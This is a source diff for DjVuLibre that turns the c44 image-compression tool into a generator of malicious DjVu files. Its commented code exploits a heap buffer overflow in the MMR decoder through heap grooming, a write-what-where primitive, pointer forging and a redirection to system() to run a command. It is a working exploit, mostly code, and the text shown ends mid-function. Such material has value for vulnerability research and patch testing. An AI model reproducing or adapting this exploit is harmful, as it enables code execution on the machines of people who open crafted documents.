{ ++ jim.encode_shape_cb(); ++ } ++ // Code Comment. ++ rectype = PRESERVED_COMMENT; ++ if (!! jim.comment) ++ code_record(rectype, gjim, 0); + // Code end of data record + rectype = END_OF_DATA; + code_record(rectype, gjim, 0); +diff --git a/libdjvu/JB2Image.h b/libdjvu/JB2Image.h +index a87a83b..b88923b 100644 +--- a/libdjvu/JB2Image.h ++++ b/libdjvu/JB2Image.h +@@ -170,6 +170,7 @@ + + #include "GString.h" + #include "ZPCodec.h" ++#include "functional" + + + #ifdef HAVE_NAMESPACES +@@ -318,6 +319,9 @@ public: + /** Comment string coded by JB2 file. */ + GUTF8String comment; + ++ // Extra callback during encoding, so that I can modify the comment. ++ std::function encode_shape_cb = {}; ++ + + private: + friend class JB2Codec; +diff --git a/tools/c44.cpp b/tools/c44.cpp +index df73468..199079a 100644 +--- a/tools/c44.cpp ++++ b/tools/c44.cpp +@@ -211,6 +211,8 @@ + //@{ + //@} + ++#include ++#include + #include "GString.h" + #include "GException.h" + #include "IW44Image.h" +@@ -223,566 +225,1267 @@ + #include "DjVuMessage.h" + #include "JPEGDecoder.h" + #include "common.h" ++#include "JB2Image.h" ++#include ++#include ++#include + +-// command line data +- +-int flag_mask = 0; +-int flag_bpp = 0; +-int flag_size = 0; +-int flag_percent = 0; +-int flag_slice = 0; +-int flag_decibel = 0; +-int flag_crcbdelay = -1; +-int flag_crcbmode = -1; +-double flag_dbfrac = -1; +-int flag_dpi = -1; +-double flag_gamma = -1; +-int argc_bpp = 0; +-int argc_size = 0; +-int argc_slice = 0; +-int argc_decibel = 0; +-IW44Image::CRCBMode arg_crcbmode = IW44Image::CRCBnormal; +- +-#define MAXCHUNKS 64 +-float argv_bpp[MAXCHUNKS]; +-int argv_size[MAXCHUNKS]; +-int argv_slice[MAXCHUNKS]; +-float argv_decibel[MAXCHUNKS]; +- +-struct C44Global +-{ +- // Globals that need static initialization +- // are grouped here to work around broken compilers. +- GURL pnmurl; +- GURL iw4url; +- GURL mskurl; +- IWEncoderParms parms[MAXCHUNKS]; +-}; +- +-static C44Global& g(void) +-{ +- static C44Global g; +- return g; +-} +- +- +-// parse arguments +- +-void +-usage() +-{ +- DjVuPrintErrorUTF8( +-#ifdef DJVULIBRE_VERSION +- "C44 --- DjVuLibre-" DJVULIBRE_VERSION "\n" +-#endif +- "Image compression utility using IW44 wavelets\n\n" +- "Usage: c44 [options] pnm-or-jpeg-file [djvufile]\n" +- "Options:\n" +- " -slice n+...+n -- select an increasing sequence of data slices\n" +- " expressed as integers ranging from 1 to 140.\n" +- " -bpp n,..,n -- select a increasing sequence of bitrates\n" +- " for building progressive file (in bits per pixel).\n" +- " -size n,..,n -- select an increasing sequence of minimal sizes\n" +- " for building progressive files (expressed in bytes).\n" +- " -percent n,..,n -- selects the percentage of original file size\n" +- " for building progressive file.\n" +- " -decibel n,..,n -- select an increasing sequence of luminance error\n" +- " expressed as decibels (ranging from 16 to 50).\n" +- " -dbfrac frac -- restrict decibel estimation to a fraction of\n" +- " the most misrepresented 32x32 blocks\n" +- " -mask pbmfile -- select bitmask specifying image zone to encode\n" +- " with minimal bitrate. (default none)\n" +- " -dpi n -- sets the image resolution\n" +- " -gamma n -- sets the image gamma correction\n" +- " -crcbfull -- encode chrominance with highest quality\n" +- " -crcbnormal -- encode chrominance with normal resolution (default)\n" +- " -crcbhalf -- encode chrominance with half resolution\n" +- " -crcbnone -- do not encode chrominance at all\n" +- " -crcbdelay n -- select chrominance coding delay (default 10)\n" +- " for -crcbnormal and -crcbhalf modes\n" +- "\n"); +- exit(1); +-} +- +- +- +-void +-parse_bpp(const char *q) +-{ +- flag_bpp = 1; +- argc_bpp = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.bitrate_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<=0 || x>24 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.bitrate_too_many") ); +- } +- if (argc_bpp < 1) +- G_THROW( ERR_MSG("c44.bitrate_no_chunks") ); +-} +- +- +-void +-parse_size(const char *q) +-{ +- flag_size = 1; +- argc_size = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.size_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.size_too_many") ); +- } +- if (argc_size < 1) +- G_THROW( ERR_MSG("c44.size_no_chunks") ); +-} +- +-void +-parse_slice(const char *q) +-{ +- flag_slice = 1; +- argc_slice = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.slice_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<1 || x>1000 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.slice_too_many") ); +- } +- if (argc_slice < 1) +- G_THROW( ERR_MSG("c44.slice_no_chunks") ); +-} +- +- +-void +-parse_decibel(const char *q) +-{ +- flag_decibel = 1; +- argc_decibel = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.decibel_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<16 || x>50 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.decibel_too_many") ); ++static void djbz_bitmap(JB2Dict &d, int nrows, int ncols, int bytes_per_row) { ++ JB2Shape shape; ++ shape.parent = -1; ++ shape.userdata = 0; ++ shape.bits = GBitmap::create(nrows, ncols, 4); ++ for (int i = 0; i < nrows; i++) { ++ for (int j = 0; j < ncols; j++) { ++ (*shape.bits)[i][j] = ++ j + 1 < bytes_per_row ? (j & 1) : (bytes_per_row & 1); + } +- if (argc_decibel < 1) +- G_THROW( ERR_MSG("c44.decibel_no_chunks") ); +-} +- +- +-int +-resolve_quality(int npix) +-{ +- // Convert ratio specification into size specification +- if (flag_bpp) +- { +- if (flag_size) +- G_THROW( ERR_MSG("c44.exclusive") ); +- flag_size = flag_bpp; +- argc_size = argc_bpp; +- for (int i=0; i 0); ++ buf[0] = 0; ++ } ++ ++ size_t bitoffset() const { return offset_; } ++ size_t byteoffset() const { return (offset_ + 7) / 8; } ++ ++ void write(uint8_t x, size_t nbits); ++ ++private: ++ void write_bitcode(const BitCode table[], size_t tablelen, uint32_t value); ++ ++public: ++ void write_wcode(uint32_t value) { ++ write_bitcode(wcodes, sizeof(wcodes) / sizeof(BitCode), value); ++ } ++ ++ void write_bcode(uint32_t value) { ++ write_bitcode(bcodes, sizeof(bcodes) / sizeof(BitCode), value); ++ } ++}; ++ ++void BitPacker::write(uint8_t x, size_t nbits) { ++ assert(nbits <= 8); ++ assert(x >> nbits == 0); ++ ++ // Shift bits to the top of the byte. ++ x <<= (8 - nbits); ++ ++ // The number of bits that have already been written to the current byte. ++ // Note: bits are written to the top of the byte first. ++ const size_t occupied = offset_ % 8; ++ ++ buf_[offset_ / 8] |= (x >> occupied); ++ offset_ += nbits; ++ if (occupied + nbits >= 8) { ++ if (offset_ / 8 >= bufsize_) { ++ G_THROW(ERR_MSG("BitPacker: buffer too small")); + } +- // Complete short specifications +- while (argc_size < nchunk) +- argv_size[argc_size++] = 0; +- while (argc_slice < nchunk) +- argv_slice[argc_slice++] = 0; +- while (argc_decibel < nchunk) +- argv_decibel[argc_decibel++] = 0.0; +- // Fill parm structure +- for(int i=0; i value) { ++ high = mid; ++ } else { ++ low = mid + 1; ++ } + } +- // Return number of chunks +- return nchunk; +-} +- +- +-void +-parse(GArray &argv) +-{ +- const int argc=argv.hbound()+1; +- for (int i=1; i= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_size(argv[i]); +- flag_percent = 1; +- } +- else if (argv[i] == "-bpp") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_bpp(argv[i]); +- } +- else if (argv[i] == "-size") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_size_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_size") ); +- parse_size(argv[i]); +- } +- else if (argv[i] == "-decibel") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_decibel_arg") ); +- if (flag_decibel) +- G_THROW( ERR_MSG("c44.multiple_decibel") ); +- parse_decibel(argv[i]); +- } +- else if (argv[i] == "-slice") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_slice_arg") ); +- if (flag_slice) +- G_THROW( ERR_MSG("c44.multiple_slice") ); +- parse_slice(argv[i]); +- } +- else if (argv[i] == "-mask") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_mask_arg") ); +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.multiple_mask") ); +- g().mskurl = GURL::Filename::UTF8(argv[i]); +- } +- else if (argv[i] == "-dbfrac") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dbfrac_arg") ); +- if (flag_dbfrac>0) +- G_THROW( ERR_MSG("c44.multiple_dbfrac") ); +- char *ptr; +- flag_dbfrac = strtod(argv[i], &ptr); +- if (flag_dbfrac<=0 || flag_dbfrac>1 || *ptr) +- G_THROW( ERR_MSG("c44.illegal_dbfrac") ); +- } +- else if (argv[i] == "-crcbnone") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnone; +- } +- else if (argv[i] == "-crcbhalf") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBhalf; +- } +- else if (argv[i] == "-crcbnormal") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnormal; +- } +- else if (argv[i] == "-crcbfull") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBfull; +- } +- else if (argv[i] == "-crcbdelay") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_crcbdelay_arg") ); +- if (flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- char *ptr; +- flag_crcbdelay = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_crcbdelay<0 || flag_crcbdelay>=100) +- G_THROW( ERR_MSG("c44.illegal_crcbdelay") ); +- } +- else if (argv[i] == "-dpi") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dpi_arg") ); +- if (flag_dpi>0) +- G_THROW( ERR_MSG("c44.duplicate_dpi") ); +- char *ptr; +- flag_dpi = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_dpi<25 || flag_dpi>4800) +- G_THROW( ERR_MSG("c44.illegal_dpi") ); +- } +- else if (argv[i] == "-gamma") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_gamma_arg") ); +- if (flag_gamma > 0) +- G_THROW( ERR_MSG("c44.duplicate_gamma") ); +- char *ptr; +- flag_gamma = strtod(argv[i], &ptr); +- if (*ptr || flag_gamma<=0.25 || flag_gamma>=5) +- G_THROW( ERR_MSG("c44.illegal_gamma") ); +- } +- else +- usage(); +- } +- else if (g().pnmurl.is_empty()) +- g().pnmurl = GURL::Filename::UTF8(argv[i]); +- else if (g().iw4url.is_empty()) +- g().iw4url = GURL::Filename::UTF8(argv[i]); +- else +- usage(); ++ assert(high > 0); ++ const size_t i = high - 1; ++ assert(table[i].value <= value); ++ if (table[i].codelen > 8) { ++ write(0, table[i].codelen - 8); ++ write(table[i].code, 8); ++ } else { ++ write(table[i].code, table[i].codelen); + } +- if (g().pnmurl.is_empty()) +- usage(); +- if (g().iw4url.is_empty()) +- { +- GURL codebase=g().pnmurl.base(); +- GUTF8String base = g().pnmurl.fname(); +- int dot = base.rsearch('.'); +- if (dot >= 1) +- base = base.substr(0,dot); +- const char *ext=".djvu"; +- g().iw4url = GURL::UTF8(base+ext,codebase); ++ if (value < 64) { ++ break; + } ++ value -= table[i].value; ++ } + } + ++// The heap feng shui phase aims to preload the tcache with several ++// chunks that are next to each other in memory, and that will get ++// used later when jimg, prevruns, lineruns, and dcd are ++// allocated. So, even though the exact offsets of these chunks within ++// the thread-local arena are unreliable, the distances between them ++// should be. ++static const uint16_t distance_jimg_to_dcd = 0x700; ++static const uint16_t distance_prevruns_to_dcd = 0x590; ++static const uint16_t distance_lineruns_to_dcd = 0x370; + ++static const uint16_t sizeof_fake_chunk = 0xa0; ++static const uint16_t sizeof_GBitmap = 0x80; + +-GP +-getmask(int w, int h) +-{ +- GP msk8; +- if (! g().mskurl.is_empty()) +- { +- GP mbs=ByteStream::create(g().mskurl,"rb"); +- msk8 = GBitmap::create(*mbs); +- if (msk8->columns() != (unsigned int)w || +- msk8->rows() != (unsigned int)h ) +- G_THROW( ERR_MSG("c44.different_size") ); +- } +- return msk8; ++// The heap feng shui stage allocates a lot of memory that will never ++// be used again in the 0x31000..0x38000 range (appoximately) of the ++// thread-local arena, so I can use it as a scratch area for things ++// like creating fake chunks. The exact offsets might vary slightly ++// from one run to the next, but it should be very reliable if I stay ++// away from the edges. ++static const uint16_t offsetof_scratch_area = 0x2000; ++ ++// Location for storing a pointer to dcd, so that I can calculate ++// pointers to jimg or dcd whenever I need to. ++static const uint16_t offsetof_dcd_ptr_backup = offsetof_scratch_area + 0x20; ++ ++static const uint16_t offsetof_fake_bytes_data = offsetof_dcd_ptr_backup + 0x10; ++static const uint16_t offsetof_fake_rlerows = offsetof_fake_bytes_data + 0x10; ++static const uint16_t offsetof_scratch_ptr = offsetof_fake_rlerows + 0x30; ++ ++// Locations for storing the components of an arena pointer, so ++// that I can use copy_uint16 to forge fake pointers. ++static const uint16_t arena_ptrbytes_2_3 = offsetof_scratch_ptr + 0x30; ++static const uint16_t arena_ptrbytes_4_5 = arena_ptrbytes_2_3 + 0x10; ++ ++// Locations for storing the components of the jimg->blits.traits ++// pointer, so that I can use copy_uint16 to reconstruct it later. ++static const uint16_t traits_ptrbytes_0_1 = arena_ptrbytes_4_5 + 0x10; ++static const uint16_t traits_ptrbytes_2_3 = traits_ptrbytes_0_1 + 0x10; ++static const uint16_t traits_ptrbytes_4_5 = traits_ptrbytes_2_3 + 0x10; ++ ++// Scratch area for the add-with-carry operation. ++static const uint16_t offsetof_adder_area = traits_ptrbytes_4_5 + 0x20; ++ ++static const uint16_t offsetof_fake_bitmap = offsetof_adder_area + 0x20; ++static const uint16_t offsetof_fake_chunk1 = ++ offsetof_fake_bitmap + sizeof_GBitmap + 0x10; ++static const uint16_t offsetof_fake_chunk2 = ++ offsetof_fake_chunk1 + sizeof_fake_chunk + 0x10; ++ ++static const uint16_t offsetof_scratch_area_end = ++ offsetof_fake_chunk2 + sizeof_fake_chunk + 0x30; ++ ++// Location where I'll write the command for system to run. ++// fake_chunk2 contains the fake traits when the command is written. ++// The fake traits are 0x28 bytes, so 0x40 is enough of a gap. ++static const uint16_t offsetof_command = offsetof_fake_chunk2 + 0x40; ++ ++// Struct field offsets ++static const uint16_t offsetof_dcd_count = 0x8; ++static const uint16_t offsetof_dcd_width = 0xc; ++static const uint16_t offsetof_dcd_lineruns = 0x38; ++static const uint16_t offsetof_dcd_prevruns = 0x50; ++ ++static const uint16_t offsetof_blits_traits = 0x78; ++static const uint16_t offsetof_blits_data = 0x80; ++ ++static const uint16_t offsetof_bytes = 0x18; ++static const uint16_t offsetof_bytes_data = 0x20; ++static const uint16_t offsetof_rle = 0x38; ++static const uint16_t offsetof_grle = 0x40; ++static const uint16_t offsetof_grlerows = 0x58; ++static const uint16_t offsetof_rlelength = 0x68; ++static const uint16_t offsetof_monitorptr = 0x70; ++ ++static void write_V0(BitPacker &packer) { ++ packer.write(1, 1); // V0 ++} ++ ++static void write_VL1(BitPacker &packer) { ++ packer.write(0x2, 3); // VL1 ++} ++ ++static void write_P(BitPacker &packer) { ++ packer.write(0x1, 4); // P ++} ++ ++// Write a H element to an even numbered address. ++static void write_H_even(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_wcode(lo); ++ packer.write_bcode(hi); + } + ++// Write a H element to an odd numbered address. ++static void write_H_odd(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_bcode(lo); ++ packer.write_wcode(hi); ++} ++ ++static void firstrun(BitPacker &packer, size_t &lineno, uint32_t width, ++ uint16_t blocksize, uint16_t blocksperline) { ++ uint32_t remainder = width; ++ for (uint16_t i = 0; i + 1 < blocksperline; i++) { ++ write_H_even(packer, 0, blocksize); ++ remainder -= blocksize; ++ } ++ write_H_even(packer, 0, remainder); ++ lineno++; ++} ++ ++static void write_stop(BitPacker &packer, size_t &lineno, uint32_t stop) { ++ write_H_even(packer, stop, 0x0); ++ lineno++; ++} ++ ++static void modify_prevruns(BitPacker &packer, size_t &lineno, uint16_t target, ++ uint32_t stop) { ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, stop | target); ++ lineno++; ++} ++ ++// Copy a uint16_t from one location to another. The 8 bytes below it ++// in memory will get trashed. At the destination site, (up to) 12 ++// bytes of garbage get written above it, but not below. Therefore, ++// this operation can be used to move an arbitrary number of bytes ++// from one location to another. (The number of bytes must be even ++// though.) The move is destructive to the source if you want to copy ++// more than 2 bytes, because the bytes below the current ones keep ++// getting trashed. The solution is to move the bytes to a staging ++// area where they're separated by extra zeros and then copy them back ++// later. ++// ++// The advantage of using this function to copy a uint16_t is that it ++// is able to handle the special case where the value is zero. If you ++// know that the value is non-zero then there are simpler ways to copy ++// it. For example, in many places I'm able to copy a pointer in one ++// go, using three V0 instructions, because the heap feng shui has ++// ensured that none of the byte pairs in the pointer are zero. But ++// when I'm copying a fully unknown pointer, like a pointer to ++// system(), then there's a chance that the middle byte pair will be ++// zero due to ASLR. ++// ++// Zero is an awkward special case due to the complicated way that b1 ++// is updated in MMRDecoder::scanruns(). The solution is to add 1 to ++// the number and then subtract it with the VL1 operation. This ++// involves adding two extra steps, so this function uses 6 steps ++// rather than 4. ++static void copy_uint16(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst) { ++ // 1 ++ // Modify prevruns. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | (src - 8)); ++ lineno++; ++ ++ // 2 ++ // Write 0x0000, 0x0000, 0x0000, 0x0001 below the bytes that I want ++ // to copy. The 0x0001 is a workaround for the special case where ++ // the uint16_t that I want to copy is zero. The 0x0001 gets added ++ // to the uint16_t and then subtracted by the VL1 operation in the ++ // next step. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 3 ++ // Copy byte pair back and modify prevruns so that I can copy them ++ // to the destination. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | dst); ++ lineno++; ++ ++ // 4 ++ // skip step at destination ++ write_H_even(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Write a 1 below the bytes so that I can do the same trick as ++ // before. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 6 ++ // Copy to dst ++ write_P(packer); ++ write_VL1(packer); ++ write_H_odd(packer, 0xc000, 0xc000); ++ write_H_odd(packer, 0xc000, 0xc000); ++ lineno++; ++} + +-static void +-create_photo_djvu_file(IW44Image &iw, int w, int h, +- IFFByteStream &iff, int nchunks, IWEncoderParms xparms[]) +-{ ++// Add two uint16_t values and also output a carry bit. The two input ++// values should be stored at p, p+2 before calling this function. The ++// carry bit will be written to p-2 and the addition result to p+10. ++// ++// The 16 bytes below dcd.prevruns are used as a working area. ++// ++// The addition is computed by this loop: ++// (https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/MMRDecoder.cpp#l748) ++// ++// // Next reference run ++// for(;b1<=a0 && b1= 0x10000 (i.e. if there's a carry bit). That second ++// iteration adds another 0x10000, so it doesn't change the output. ++// But it means that pr has been incremented 4 bytes more than if ++// there was no carry. The next instruction is a V0, which will output ++// a 2 if there was a carry or 1 if there wasn't. (It's easier to copy ++// a non-zero value so that's why I use 1,2 rather than 0,1.) ++static void add_with_carry(BitPacker &packer, size_t &lineno, uint16_t p) { ++ // 1 ++ // Point prevruns just above the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p + 4); ++ lineno++; ++ ++ // 2 ++ // Write some values that will compute the carry bit. ++ write_H_even(packer, 0x2, 0xfffe); // sum == 0x10000 ++ write_H_even(packer, 0x1, 0x0); ++ write_H_even(packer, 0x0, 0x1ffff); ++ lineno++; ++ ++ // 3 ++ // Point prevruns 6 bytes below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p - 6); ++ lineno++; ++ ++ // 4 ++ // write zeros below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Compute the addition and write the carry bit ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0xffff); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_even(packer, 0xffff, 0x40000); ++ lineno++; ++ ++ // 6 ++ // Copy the addition result out ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 7 ++ // wipe the addition result ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 8 ++ // Copy the carry bit out ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++} ++ ++// Adds a uint16_t increment to a 64-bit pointer. ++static void pointer_add(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst, uint16_t incr, ++ bool write_trailer = true) { ++ // Scratch area for add_with_carry to use ++ uint16_t s = offsetof_adder_area; ++ ++ // Copy increment to scratch area ++ modify_prevruns(packer, lineno, s - 6, 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x40000, incr); ++ lineno++; ++ ++ // Copy components. Only 3 iterations are needed because the top two ++ // bytes of a pointer are always zero. ++ for (size_t i = 0; i < 3; i++) { ++ // Copy component to scratch area ++ copy_uint16(packer, lineno, src, s + 2); ++ ++ // Add increment or carry bit to component ++ add_with_carry(packer, lineno, s); ++ ++ // Copy result out ++ copy_uint16(packer, lineno, s + 10, dst); ++ ++ // Carry bit was written to s-2, so it's easiest to shift the scratch area. ++ s -= 2; ++ ++ // Move to next component ++ src += 2; ++ dst += 2; ++ } ++} ++ ++// Use the buffer overflow on dcd->lineruns to modify ++// dcd->width. (Heap feng shui has ensured that lineruns is stored ++// immediately below dcd in memory.) This function should be followed ++// by a call to write_stop(). ++static void overwrite_width(BitPacker &packer, uint16_t prefixlen) { ++ // Buffer overflow ++ for (size_t i = prefixlen; i < distance_lineruns_to_dcd + offsetof_dcd_width; ++ i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ ++ // Overwrite width ++ write_H_even(packer, 0x0, 0x3); // 0x30000 ++ ++ // Overwrite height ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite lineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite striplineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite rowsperstrip ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite line and gline ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++} ++ ++// This overwrites dcd->lineruns with a pointer to dcd->glineruns. ++// That gives me the ability to overwrite prevruns, which means I can ++// now write bytes to any location. (Previously, I could also write to ++// any location, but it was a one-shot thing because the only way to ++// do it a second time was by trashing all the memory between the ++// first location and dcd.) ++static void create_write_what_where_gadget(BitPacker &packer, size_t &lineno) { ++ // Almost all the bytes between prevruns and &dcd->lineruns are ++ // currently zero. The exceptions are the handful of non-zero values ++ // that I've set in dcd, such as dcd->width and dcd->height. Also, ++ // lineno and striplineno have both been incremented once since I ++ // zeroed them in overwrite_width(). So at this moment in time, ++ // those values sum to 7. So, in order for the first byte pair of ++ // the pointer to get successfully loaded into b1, I need to set a0 ++ // = 7. ++ write_H_even(packer, 0x0, 0x7); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // write large number below the address in prevruns ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x50000 - 0x1); ++ lineno++; ++ ++ // Next line. ++ write_H_even(packer, 0x0, ++ 0x10000 - ++ (distance_prevruns_to_dcd + offsetof_dcd_lineruns + 0xe)); ++ overwrite_width(packer, 0x4); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x30000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // At this moment, dcd still points to the original prevruns, but ++ // dcd->lineruns now points to &dcd->glineruns, which is 0x10 bytes below ++ // &dcd->prevruns in memory. ++} ++ ++// Write n zero bytes at destination. n should be a multiple of 4. ++static void wipe_bytes_at_dst(BitPacker &packer, size_t &lineno, uint16_t dst, ++ size_t n, uint32_t stop) { ++ if (n % 4 != 0) { ++ G_THROW(ERR_MSG("wipe_bytes_at_dst: n is not a multiple of 4")); ++ } ++ ++ // Set target pointer. ++ modify_prevruns(packer, lineno, dst, stop); ++ ++ for (size_t i = 0; i + 4 < n; i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_stop(packer, lineno, stop); ++} ++ ++// Write a pointer to dcd in the scratch area so that I can retrieve it ++// when I need it. ++static void make_backup_ptr(BitPacker &packer, size_t &lineno) { ++ // Set target pointer. ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, 0x40000); ++ ++ // This will copy the pointer that is currently stored in dcd->prevruns, ++ // which is a pointer to 0x10 below &dcd->prevruns. This subtracts an ++ // offset from it to calculate a pointer to dcd. ++ write_H_even(packer, 0x0, offsetof_dcd_prevruns - 0x10); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++} ++ ++// Overwrite prevruns with an address that's at a relatively offset from ++// dcd. This uses the pointer that I've stored at the fixed (relative to ++// the current arena) address offsetof_dcd_ptr_backup. The offset ++// is subtracted. ++static void modify_prevruns_relative(BitPacker &packer, size_t &lineno, ++ uint16_t offset, uint32_t stop) { ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, stop); ++ ++ // skip ++ write_stop(packer, lineno, stop); ++ ++ // Copy pointer back. ++ write_H_even(packer, 0x0, offset); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, stop); // stop ++ lineno++; ++} ++ ++// This overwrites jimg->blits.data and also modifies the size field ++// immediately above it. This operation is a bit tricky because the ++// data field is immediately preceded by the traits field, which I ++// cannot overwrite. ++static void modify_jimg_blits(BitPacker &packer, size_t &lineno, ++ uint16_t field_offset, uint16_t dst, ++ uint16_t minlo, uint16_t maxhi, uint16_t lobound, ++ uint16_t hibound) { ++ modify_prevruns_relative(packer, lineno, distance_jimg_to_dcd - field_offset, ++ 0x40000); ++ ++ // Copy pointer to &prevruns to jimg->blits.data, but with zeros ++ // below it so that I can copy it back out and modify it. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ 